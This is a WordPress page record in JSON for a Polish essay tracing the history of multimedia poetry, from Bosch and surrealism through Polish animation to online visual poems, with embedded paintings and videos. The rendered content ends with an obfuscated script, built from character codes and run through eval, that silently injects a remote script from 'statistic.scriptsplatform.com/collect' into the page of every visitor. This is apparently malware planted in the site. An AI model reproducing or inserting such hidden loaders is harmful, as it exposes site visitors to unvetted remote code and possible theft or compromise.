{"id":1543,"date":"2022-07-26T21:43:35","date_gmt":"2022-07-26T19:43:35","guid":{"rendered":"https:\/\/herezje.pl\/?page_id=1543"},"modified":"2023-09-24T10:45:36","modified_gmt":"2023-09-24T08:45:36","slug":"miltimedialna-wersja-rozdzialu-poczatki-i-rozwoj-multipoezji-herezje-tom-ii-2021","status":"publish","type":"page","link":"https:\/\/herezje.pl\/index.php\/miltimedialna-wersja-rozdzialu-poczatki-i-rozwoj-multipoezji-herezje-tom-ii-2021\/","title":{"rendered":"Miltimedialna wersja rozdzia\u0142u &#8220;Pocz\u0105tki i rozw\u00f3j multipoezji&#8221;, &#8220;Herezje&#8221; tom II (2021)"},"content":{"rendered":"\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"650\" height=\"481\" src=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/ChelmonskiJozef_1900_Bociany.jpg\" alt=\"\" class=\"wp-image-255\" srcset=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/ChelmonskiJozef_1900_Bociany.jpg 650w, https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/ChelmonskiJozef_1900_Bociany-300x222.jpg 300w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><figcaption class=\"wp-element-caption\">J. Che\u0142mo\u0144ski &#8211; Bociany<\/figcaption><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Warunkiem <em>sine qua non<\/em> zaistnienia multipoezji jest wynalezienie filmu.<br>Wizualnych \u017ar\u00f3de\u0142 multipoezji nale\u017cy szuka\u0107 w tw\u00f3rczo\u015bci plastycznej. Rysunki, malowid\u0142a towarzyszy\u0142y cz\u0142owiekowi od pocz\u0105tk\u00f3w istnienia cywilizacji. Najpierw by\u0142y form\u0105 bazy danych \u2013 dokumentowaniem zdarze\u0144, tablicami pogl\u0105dowymi, etc. W zwi\u0105zku z tym plastyka stara\u0142a si\u0119 w swoich wytworach jak najdok\u0142adniej przedstawia\u0107 rzeczywisto\u015b\u0107 \u2013 dominowa\u0142 realizm, dokumentowanie tego, co istnieje, fakt\u00f3w.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"800\" height=\"621\" src=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/Hieronim-Bosch-Ogrod-Ziemskich-rozkoszy-pieklo-800x621-1.jpg\" alt=\"\" class=\"wp-image-256\" srcset=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/Hieronim-Bosch-Ogrod-Ziemskich-rozkoszy-pieklo-800x621-1.jpg 800w, https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/Hieronim-Bosch-Ogrod-Ziemskich-rozkoszy-pieklo-800x621-1-300x233.jpg 300w, https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/Hieronim-Bosch-Ogrod-Ziemskich-rozkoszy-pieklo-800x621-1-768x596.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><figcaption class=\"wp-element-caption\">H. Bosch &#8211; Piek\u0142o<\/figcaption><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Na prze\u0142omie XV i XVI wieku <strong>Hieronymus Bosch<\/strong> (w\u0142a\u015b\u0107. Van Aken) do \u00f3wczesnego malarstwa wprowadzi\u0142 elementy fantastyki, poezj\u0119.<br>Dzie\u0142a jego nie przedstawia\u0142y ju\u017c rzeczywisto\u015bci, ale przez fantastyczne krajobrazy, stwory, postaci \u2013 wzbudza\u0142y w odbiorcy wra\u017cenia, wyobra\u017cenia, refl eksje oraz emocje &#8211; prze\u017cycia nie znane dotychczas. W swoim malarstwie odda\u0142 w pe\u0142ni sens poezji.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"800\" height=\"511\" src=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/image335-1.jpg\" alt=\"\" class=\"wp-image-258\" srcset=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/image335-1.jpg 800w, https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/image335-1-300x192.jpg 300w, https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/image335-1-768x491.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><figcaption class=\"wp-element-caption\">C. D. Friedrich &#8211; Opactwo w d\u0119bowym lesie (romantyzm)<\/figcaption><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Na kilka stuleci plastycy zapomnieli jednak o przes\u0142aniu H. Boscha.<br>Ducha poezji w plastyce obudzili dopiero romantycy w XIX wieku. Nie byli tak radykalni jak Bosch, ale \u015bci\u015ble wi\u0105zali swoj\u0105 tw\u00f3rczo\u015b\u0107 malarsk\u0105 z \u00f3wczesn\u0105 literatur\u0105, pe\u0142n\u0105 mrocznej atmosfery, egzaltacji, melancholii i niesamowito\u015bci.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"538\" height=\"420\" src=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/Magritte_Les-Merveiles-de-la-nature_1953-538x420-1.jpg\" alt=\"\" class=\"wp-image-259\" srcset=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/Magritte_Les-Merveiles-de-la-nature_1953-538x420-1.jpg 538w, https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/Magritte_Les-Merveiles-de-la-nature_1953-538x420-1-300x234.jpg 300w\" sizes=\"(max-width: 538px) 100vw, 538px\" \/><figcaption class=\"wp-element-caption\">R. Magritte &#8211; Cuda natury (surrealizm)<\/figcaption><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Kwintesencj\u0105 j\u0119zyka poetyckiego w plastyce staje si\u0119 surrealizm. Tu, tak jak w malarstwie H. Boscha, wyobra\u017ania poetycka nie zna granic. Surreali\u015bci w warstwie filozoficznej bazuj\u0105 na Z. Freuda \u2013 si\u0119gaj\u0105 do ukrytych pok\u0142ad\u00f3w umys\u0142u ludzkiego, tzw. pod\u015bwiadomo\u015bci, gdzie ukrywaj\u0105 si\u0119 \u201edemony\u201d.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"&quot;Un Chien Andalou&quot;(1929) - Full Movie\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/JbBfHy2qNeA?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><figcaption class=\"wp-element-caption\">Pies andaluzyjski (1928)<\/figcaption><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Od pocz\u0105tku istnienia kina powstawa\u0142y poetyckie filmy. Za pierwszy taki obraz nale\u017cy uzna\u0107 dzie\u0142o surrealist\u00f3w: <strong>L. Bunuela i S. Dali pt. \u201ePies andaluzyjski\u201d<\/strong> (1928). W 1929 roku L. Bunuel nakr\u0119ci\u0142 \u201eZ\u0142oty wiek\u201d, kt\u00f3ry te\u017c mo\u017cna nazwa\u0107 multipoezj\u0105. Mimo \u017ce filmy te by\u0142y nieme, to podczas projekcji taper uzupe\u0142nia\u0142 je o \u201e\u015bcie\u017ck\u0119 d\u017awi\u0119kow\u0105\u201d.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"The Beatles - Eleanor Rigby (From &quot;Yellow Submarine&quot;)\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/HuS5NuXRb5Y?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><figcaption class=\"wp-element-caption\">Yellow Submarine (\u017b\u00f3\u0142ta \u0142\u00f3d\u017a podwodna) 1968 &#8211; fragment<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"The Fall (2006) BEST SHOTS\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/v1ZvIHNVNjM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">W historii kina mo\u017cna znale\u017a\u0107 wiele przyk\u0142ad\u00f3w film\u00f3w, kt\u00f3rych fragmenty mo\u017cna nazwa\u0107 multipoezj\u0105, np. <strong>\u201eYellow Submarine\u201d (\u017b\u00f3\u0142ta \u0142\u00f3d\u017a podwodna) re\u017c. George Dunning<\/strong> z 1968 r., czy <strong>\u201eThe Fall\u201d (Magia uczu\u0107)<\/strong> re\u017c. Tarsema Singh Dhandwara z 2006 r.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"LABIRYNT (1962) | Animacja | re\u017c. Jan Lenica\" width=\"1170\" height=\"878\" src=\"https:\/\/www.youtube.com\/embed\/Z0ORbg9Gywg?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">W Polsce w filmie animowanym w latach 60-tych pojawia si\u0119 nurt poetycki. <strong>Jan Lenica<\/strong> tworzy w 1962 r. film pt. <strong>\u201eLabirynt\u201d<\/strong>, a potem inne w tym stylu (np. \u201eRhinoceros\u201d 1965).<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"SCHODY (Stairs) (POL\/1968) Stefan Schabenbeck\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/QfGi9-0ubJA?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Podobn\u0105 wra\u017cliwo\u015b\u0107 poetyck\u0105 w swoich filmach prezentuje <strong>Stefan Schabenbeck<\/strong> (np. <strong>\u201eSchody\u201d<\/strong> 1968, \u201eWszystko jest liczb\u0105\u201d 1967).<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"712\" src=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/249-Zdzislaw-Beksinski-obraz-600x712-1.jpg\" alt=\"\" class=\"wp-image-279\" srcset=\"https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/249-Zdzislaw-Beksinski-obraz-600x712-1.jpg 600w, https:\/\/herezje.pl\/wp-content\/uploads\/2022\/05\/249-Zdzislaw-Beksinski-obraz-600x712-1-253x300.jpg 253w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption class=\"wp-element-caption\">Zdzis\u0142aw Beksi\u0144ski &#8211; obraz<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Katedra (The Cathedral) by Tomasz Bagi\u0144ski - Music by Alan Bucki\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/VbcLWGoP1I4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Polskim wk\u0142adem w multipoezj\u0119 z pewno\u015bci\u0105 jest <strong>\u201eKatedra\u201d<\/strong> re\u017c. Tomasz Bagi\u0144ski z 2002 r. Film jest inspirowany tw\u00f3rczo\u015bci\u0105 plastyczn\u0105 <strong>Zdzis\u0142awa Beksi\u0144skiego<\/strong>, kt\u00f3ry reprezentuje polski nurt surrealizmu.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Slade - My Oh My\" width=\"1170\" height=\"878\" src=\"https:\/\/www.youtube.com\/embed\/AlwA5GLBmJM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Michael Jackson - Thriller (Official 4K Video)\" width=\"1170\" height=\"878\" src=\"https:\/\/www.youtube.com\/embed\/sOnqjkJTMaA?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Enya - Orinoco Flow (Official 4K Music Video)\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/LTrk4X9ACtw?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Pojawienie si\u0119 telewizji i tzw. muzycznych videoclip\u00f3w otworzy\u0142o nowe perspektywy dla multipoezji. Pocz\u0105tkowo videoclipy pe\u0142ni\u0142y funkcj\u0119 reklamow\u0105 \u2013 prezentowa\u0142y utw\u00f3r i wykonawc\u00f3w. Potem zacz\u0119\u0142y powstawa\u0107 utwory fabularne, a w ko\u0144cu poetyckie. Jednak\u017ce<br>warstwa wizyjna by\u0142a tylko t\u0142em dla muzyki.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Embrace - a visual poem\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/bYKZ6lnb894?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Rozpowszechnienie cyfrowej fotografi i i filmu, powstanie filmowych serwis\u00f3w internetowych pozwoli\u0142o tw\u00f3rcom rozwija\u0107 multipoezj\u0119.<br>Platforma technologiczna sta\u0142a si\u0119 dost\u0119pna w\u0142a\u015bciwie dla ka\u017cdego posiadacza smartfonu, programy do tworzenia muzyki z u\u017cyciem sampli niewiele kosztuj\u0105, a sample (fragmenty muzyki, z kt\u00f3rych jak z klock\u00f3w mo\u017cna tworzy\u0107 utwory muzyczne) s\u0105 og\u00f3lnie dost\u0119pne za<br>darmo w internecie, cyfrowy monta\u017c filmu w\u0142a\u015bciwie te\u017c jest za darmo.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-embed is-type-rich is-provider-obsluga-osadzania wp-block-embed-obsluga-osadzania wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Fall In Love | A Visual Poem\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/_WcUYNhc0-U?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Dystrybucja r\u00f3wnie\u017c nie stanowi problem\u00f3w finansowych i technicznych \u2013 wystarczy dost\u0119p do internetu, a filmy za darmo mo\u017cna prezentowa\u0107 na wielu serwisach spo\u0142eczno\u015bciowych. Problemem jest jeszcze tylko popularno\u015b\u0107 tej formy poezji. C\u00f3\u017c z tego, \u017ce umieszczonych zostan\u0105 setki, a mo\u017ce nawet tysi\u0105ce wizji, kiedy zgin\u0105 one w milionach innych film\u00f3w? Niezb\u0119dne jest, aby powsta\u0142y specjalistyczne serwisy po\u015bwi\u0119cone prezentowaniu i ocenie multipoezji. Tw\u00f3rcy b\u0119d\u0105 mogli wymienia\u0107 si\u0119 do\u015bwiadczeniami, ale te\u017c dzi\u0119ki krytyce rozwija\u0107 swoj\u0105 tw\u00f3rczo\u015b\u0107.<\/p>\n<\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Czy przedstawione przeze mnie idee si\u0119 spe\u0142ni\u0105? Przy obecnym post\u0119pie technologicznym, dost\u0119pie do tanich technik cyfrowych, internetu, smartfon\u00f3w \u2013 bardzo szybko mo\u017ce nast\u0105pi\u0107 wybuch zainteresowania multipoezj\u0105 (zw\u0142aszcza w\u015br\u00f3d najm\u0142odszych odbiorc\u00f3w). Ci, kt\u00f3rzy pierwsi odnajd\u0105 si\u0119 w tym nowym nurcie, stan\u0105 si\u0119 klasykami, prekursorami tego rodzaju tw\u00f3rczo\u015bci\u2026<\/strong><\/p>\n\n\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Warunkiem sine qua non zaistnienia multipoezji jest wynalezienie filmu.Wizualnych \u017ar\u00f3de\u0142 multipoezji nale\u017cy szuka\u0107 w tw\u00f3rczo\u015bci plastycznej. Rysunki, malowid\u0142a towarzyszy\u0142y cz\u0142owiekowi od pocz\u0105tk\u00f3w istnienia cywilizacji. Najpierw by\u0142y form\u0105 bazy danych \u2013 dokumentowaniem zdarze\u0144, tablicami pogl\u0105dowymi, etc. W zwi\u0105zku z tym plastyka stara\u0142a si\u0119 w swoich wytworach jak najdok\u0142adniej przedstawia\u0107 rzeczywisto\u015b\u0107 \u2013 dominowa\u0142 realizm, dokumentowanie tego, co&hellip;<\/p>\n<p class=\"more-link\"><a href=\"https:\/\/herezje.pl\/index.php\/miltimedialna-wersja-rozdzialu-poczatki-i-rozwoj-multipoezji-herezje-tom-ii-2021\/\" class=\"themebutton2\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-1543","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/pages\/1543","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/comments?post=1543"}],"version-history":[{"count":3,"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/pages\/1543\/revisions"}],"predecessor-version":[{"id":4026,"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/pages\/1543\/revisions\/4026"}],"wp:attachment":[{"href":"https:\/\/herezje.pl\/index.php\/wp-json\/wp\/v2\/media?parent=1543"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}